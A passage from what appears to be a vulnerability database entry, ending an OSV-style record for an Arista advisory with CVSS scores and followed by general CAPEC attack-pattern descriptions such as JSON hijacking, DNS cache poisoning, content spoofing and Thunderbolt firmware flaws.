      "url": "https://www.arista.com/en/support/advisories-notices/security-advisory/24717-security-advisory-0161"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-148: Content Spoofing

An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.

CAPEC-218: Spoofing of UDDI/ebXML Messages

An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

CAPEC-701: Browser in the Middle (BiTM)

An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.